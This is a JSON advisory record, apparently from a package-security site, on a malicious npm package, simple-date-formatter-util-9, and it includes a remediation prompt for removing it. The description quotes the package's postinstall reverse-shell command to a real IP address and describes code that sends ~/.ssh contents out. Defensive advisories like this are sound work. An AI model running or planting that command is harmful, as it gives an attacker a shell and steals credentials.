{"answers":{"affected":"1 open source package ship an affected version, including simple-date-formatter-util-9.","exploited":"There is no known exploitation of MAL-2026-11547 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-11547 is a malicious package in simple-date-formatter-util-9, published on 4 Aug 2026."},"fix_prompt":"MAL-2026-11547 is a malicious package: simple-date-formatter-util-9 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-11547/ (Markdown: https://insights.sbomify.com/MAL-2026-11547/index.md)","id":"MAL-2026-11547","markdown":"https://insights.sbomify.com/MAL-2026-11547/index.md","name":"MAL-2026-11547","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares a postinstall lifecycle hook that executes `bash -i \u003e\u0026 /dev/tcp/124.221.154.135/4444 0\u003e\u00261 \u0026`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in simple-date-formatter-util-9 (npm)","id":"MAL-2026-11547","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"simple-date-formatter-util-9","purl":"pkg:npm/simple-date-formatter-util-9","source":"MAL-2026-11547"}],"products":null,"published":"2026-08-04","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-11547/"}